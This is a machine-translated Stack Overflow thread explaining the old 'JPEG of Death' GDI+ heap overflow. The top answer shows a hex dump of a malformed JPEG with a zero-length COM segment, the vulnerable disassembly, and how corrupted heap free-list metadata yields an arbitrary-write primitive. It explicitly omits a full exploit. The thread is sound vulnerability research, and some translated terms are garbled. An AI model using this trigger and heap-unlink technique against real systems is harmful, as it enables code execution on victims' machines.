JPEG的Death漏洞如何运作?


94

我一直在阅读有关Windows XP和Windows Server 2003上针对GDI +的较旧漏洞利用的信息,称其为我正在从事的项目的JPEG死亡。

该漏洞在以下链接中有很好的解释:http : //www.infosecwriters.com/text_resources/pdf/JPEG.pdf

基本上,JPEG文件包含一个称为COM的节,其中包含一个(可能为空)注释字段,以及一个两个字节的值,其中包含COM的大小。如果没有注释,则大小为2。读取器(GDI +)读取大小,将其减去2,然后分配适当大小的缓冲区以将注释复制到堆中。攻击涉及0在字段中放置值。GDI +减去2,导致一个值-2 (0xFFFe),其被转化成无符号整数0XFFFFFFFEmemcpy

样例代码:

unsigned int size;
size = len - 2;
char *comment = (char *)malloc(size + 1);
memcpy(comment, src, size);

观察到malloc(0)第三行应该返回一个指向堆上未分配内存的指针。如何写入0XFFFFFFFE字节(4GB!!!!)可能不会使程序崩溃?这是否会超出堆区域并写入其他程序和OS的空间?那会发生什么呢?

据我了解memcpy,它只是将n字符从目标复制到源。在这种情况下,源应该在堆栈上,目标应该在堆上,并且n4GB


malloc将分配堆中的内存。我认为该漏洞利用是在memcpy之前和分配内存之后完成的
iedoc

只是附带说明:将值提升为无符号整数(4个字节)的不是 memcpy,而是减法。
修订

1
通过一个实时示例更新了我以前的答案。的mallocED尺寸仅为2个字节,而不是0xFFFFFFFE。这个巨大的大小仅用于副本大小,而不用于分配大小。
Neitsa

Answers:


96

此漏洞肯定是堆溢出

怎么写0XFFFFFFFE字节(4 GB !!!!)可能不会使程序崩溃?

可能会,但是在某些情况下,您有时间在崩溃发生之前加以利用(有时,您可以使程序恢复到正常执行状态,并避免崩溃)。

当memcpy()启动时,副本将覆盖其他一些堆块或堆管理结构的某些部分(例如,空闲列表,繁忙列表等)。

在某个时候,副本将遇到未分配的页面,并在写入时触发AV(访问冲突)。然后,GDI +将尝试在堆中分配一个新块(请参阅ntdll!RtlAllocateHeap)……但是,堆结构现在都被弄乱了。

到那时,通过精心制作JPEG图像,可以用受控数据覆盖堆管理结构。当系统尝试分配新块时,它可能会从空闲列表中取消链接(空闲)块。

使用(特别是)flink(向前链接;列表中的下一个块)和闪烁(向后链接;列表中的前一个块)指针管理块。如果同时控制闪烁和闪烁,则可能有一个WRITE4(写What / Where条件),可以在其中控制可写内容和可写位置。

到那时,您可以覆盖函数指针(SEH [Structured Exception Handlers]指针在2004年当时是首选对象)并获得代码执行。

参见博客文章堆腐败:案例研究

注意:尽管我使用自由列表写过关于利用的文章,但攻击者可能会使用其他堆元数据来选择其他路径(“堆元数据”是系统用来管理堆的结构; flink和blink是堆元数据的一部分),但是断开链接的利用可能是“最简单的”利用。谷歌搜索“堆利用”将返回有关此的大量研究。

这是否会超出堆区域并写入其他程序和OS的空间?

决不。现代操作系统基于虚拟地址空间的概念,因此每个进程都具有自己的虚拟地址空间,该地址空间可在32位系统上寻址多达4 GB的内存(在实践中,您只有一半的内存是在用户土地上使用的,其余的用于内核)。

简而言之,一个进程无法访问另一个进程的内存(除非它通过某些服务/ API向内核请求它,但是内核将检查调用者是否有权这样做)。


我决定在本周末测试此漏洞,因此我们可以对正在发生的事情有所了解,而不是单纯的猜测。该漏洞现在已有10年了,因此我认为可以写此漏洞,尽管我没有在此答案中解释漏洞利用部分。

规划

最困难的任务是找到只有SP1的Windows XP,就像在2004年一样:)

然后,我下载了仅由一个像素组成的JPEG图像,如下所示(为简洁起见,该剪切为:)

File 1x1_pixel.JPG
Address   Hex dump                                         ASCII
00000000  FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF  `
00000010  00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49|  `  ÿá Exif  II
00000020  2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| *          ÿÛ C
[...]

JPEG图片由二进制标记(引入片段)组成。在上图中,FF D8SOI(图像开始)标记是,而FF E0例如应用标记。

标记段中的第一个参数(某些标记(例如SOI除外))是一个两字节长度的参数,该参数编码标记段中的字节数,包括长度参数,但不包括两字节标记。

我只是FFFE在SOI之后添加了COM标记(0x ),因为标记没有严格的顺序。

File 1x1_pixel_comment_mod1.JPG
Address   Hex dump                                         ASCII
00000000  FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ  0000000100
00000010  30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020  30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030  30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]

COM段的长度设置00 00为触发漏洞。我还在COM标记后立即插入了一个重复模式的0xFFFC字节,即十六进制的4字节数字,当“利用”该漏洞时,它将很方便。

调试

双击该图像将立即触发Windows外壳程序(也称为“ explorer.exe”)gdiplus.dll中名为的函数中的错误GpJpegDecoder::read_jpeg_marker()

对图片中的每个标记都调用此函数,方法很简单:读取标记段的大小,分配一个长度为段大小的缓冲区,然后将段的内容复制到此新分配的缓冲区中。

这是功能的开始:

.text:70E199D5  mov     ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8  push    esi
.text:70E199D9  mov     esi, [ebx+18h]
.text:70E199DC  mov     eax, [esi]      ; eax = pointer to segment size
.text:70E199DE  push    edi
.text:70E199DF  mov     edi, [esi+4]    ; edi = bytes left to process in the image

eax寄存器指向段大小,edi是图像中剩余的字节数。

然后,代码继续读取段大小,从最高有效字节开始(长度为16位值):

.text:70E199F7  xor     ecx, ecx        ; segment_size = 0
.text:70E199F9  mov     ch, [eax]       ; get most significant byte from size --> CH == 00
.text:70E199FB  dec     edi             ; bytes_to_process --
.text:70E199FC  inc     eax             ; pointer++
.text:70E199FD  test    edi, edi
.text:70E199FF  mov     [ebp+arg_0], ecx ; save segment_size

最低有效字节:

.text:70E19A15  movzx   cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19  add     [ebp+arg_0], ecx   ; save segment_size
.text:70E19A1C  mov     ecx, [ebp+lpMem]
.text:70E19A1F  inc     eax             ; pointer ++
.text:70E19A20  mov     [esi], eax
.text:70E19A22  mov     eax, [ebp+arg_0] ; eax = segment_size

完成此操作后,将根据以下计算使用段大小来分配缓冲区:

alloc_size = segment_size + 2

这是通过以下代码完成的:

.text:70E19A29  movzx   esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D  add     eax, 2 
.text:70E19A30  mov     [ecx], ax 
.text:70E19A33  lea     eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36  push    eax             ; dwBytes
.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)

在本例中,由于段大小为0,因此为缓冲区分配的大小为2个字节

该漏洞在分配之后就可以使用:

.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)
.text:70E19A3C  test    eax, eax
.text:70E19A3E  mov     [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41  jz      loc_70E19AF1
.text:70E19A47  mov     cx, [ebp+arg_4]   ; low marker byte (0xFE)
.text:70E19A4B  mov     [eax], cx         ; save in alloc (offset 0)
;[...]
.text:70E19A52  lea     edx, [esi-2]      ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61  mov     [ebp+arg_0], edx

该代码仅从整个段大小(在本例中为0)中减去segment_size大小(段长度为2个字节的值),并以整数下溢结束:0-2 = 0xFFFFFFFE

然后,代码检查图像中是否还有要解析的字节(这是正确的),然后跳转到副本:

.text:70E19A69  mov     ecx, [eax+4]  ; ecx = bytes left to parse (0x133)
.text:70E19A6C  cmp     ecx, edx      ; edx = 0xFFFFFFFE
.text:70E19A6E  jg      short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4  mov     eax, [ebx+18h]
.text:70E19AB7  mov     esi, [eax]      ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9  mov     edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC  mov     ecx, edx        ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE  mov     eax, ecx
.text:70E19AC0  shr     ecx, 2          ; size / 4
.text:70E19AC3  rep movsd               ; copy segment content by 32-bit chunks

上面的代码片段显示副本大小为0xFFFFFFFE 32位块。源缓冲区是受控制的(图片的内容),目标缓冲区是堆上的缓冲区。

写条件

当副本到达内存页面的末尾时(该副本可能来自源指针或目标指针),它将触发访问冲突(AV)异常。触发AV时,堆已经处于易受攻击的状态,因为该副本已经覆盖了随后的所有堆块,直到遇到未映射的页面为止。

使此漏洞可利用的原因是3 SEH(结构化异常处理程序;这是try /除外,级别较低)正在捕获此部分代码中的异常。更准确地说,第一个SEH将展开堆栈,以便它返回以解析另一个JPEG标记,从而完全跳过触发异常的标记。

没有SEH,代码将使整个程序崩溃。因此,代码将跳过COM段并解析另一个段。因此,我们回到GpJpegDecoder::read_jpeg_marker()一个新段,然后在代码分配新缓冲区时:

.text:70E19A33  lea     eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36  push    eax             ; dwBytes
.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)

系统将从空闲列表中取消链接一个块。碰巧元数据结构被图像的内容覆盖;因此我们使用受控的元数据来控制取消链接。下面的代码在堆管理器中系统(ntdll)中的某个位置:

CPU Disasm
Address   Command                                  Comments
77F52CBF  MOV ECX,DWORD PTR DS:[EAX]               ; eax points to '0003' ; ecx = 0x33303030
77F52CC1  MOV DWORD PTR SS:[EBP-0B0],ECX           ; save ecx
77F52CC7  MOV EAX,DWORD PTR DS:[EAX+4]             ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA  MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0  MOV DWORD PTR DS:[EAX],ECX               ; write 0x33303030 to 0x34303030!!!

现在我们可以写我们想要的东西,我们想要的地方...


3

由于我不知道来自GDI的代码,因此下面只是猜测。

好吧,我想到的一件事是我在某些操作系统上注意到的一种行为(我不知道Windows XP是否具有此行为)是在使用new /分配时malloc,实际上您可以分配的内存比RAM还要多,只要你不写那个记忆。

这实际上是linux内核的行为。

从www.kernel.org:

进程线性地址空间中的页面不一定驻留在内存中。例如,由于仅在vm_area_struct中保留了空间,因此不能立即满足代表进程进行的分配。

为了进入常驻内存,必须触发页面错误。

基本上,您需要先使内存变脏,然后才能在系统上实际分配内存:

  unsigned int size=-1;
  char* comment = new char[size];

有时它实际上不会在RAM中进行真正的分配(您的程序仍将不使用4 GB)。我知道我已经在Linux上看到了这种现象,但是现在我无法在Windows 7安装中复制它。

从这种现象开始,以下情况是可能的。

为了使该内存存在于RAM中,您需要使其变脏(基本上是memset或其他写入方式):

  memset(comment, 0, size);

但是,该漏洞利用了缓冲区溢出,而不是分配失败。

换句话说,如果我要拥有这个:

 unsinged int size =- 1;
 char* p = new char[size]; // Will not crash here
 memcpy(p, some_buffer, size);

这将导致写后缓冲,因为没有诸如4 GB的连续内存段之类的东西。

您没有在p中放入任何内容来使整个4 GB的内存变脏,而且我也不知道memcpy是一次使所有内存变脏,还是只是一页一页地弄脏(我认为是一页一页)。

最终,它将最终覆盖堆栈帧(堆栈缓冲区溢出)。

另一个可能的漏洞是,如果图片以字节数组的形式保存在内存中(将整个文件读入缓冲区),并且sizeof注释仅用于跳过非重要信息。

例如

     unsigned int commentsSize = -1;
     char* wholePictureBytes; // Has size of file
     ...
     // Time to start processing the output color
     char* p = wholePictureButes;
     offset = (short) p[COM_OFFSET];
     char* dataP = p + offset;
     dataP[0] = EvilHackerValue; // Vulnerability here

正如您提到的,如果GDI没有分配该大小,该程序将永远不会崩溃。


4
那可能是64位系统,其中4GB没什么大不了的(谈到addess空间)。但是在32位系统中(它们似乎也很容易受到攻击)您不能保留4GB的地址空间,因为那样就足够了!因此,a malloc(-1U)肯定会失败,返回NULLmemcpy()崩溃。
rodrigo 2015年

9
我认为这句话是不对的:“最终它将最终写入另一个进程地址。” 通常,一个进程无法访问另一个进程的内存。请参阅MMU的好处
chue x

@MMU的好处是的,您是对的。我的意思是说,这将超出正常的堆边界,并开始覆盖堆栈框架。我将编辑我的答案,感谢您指出。
MichaelCMS
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.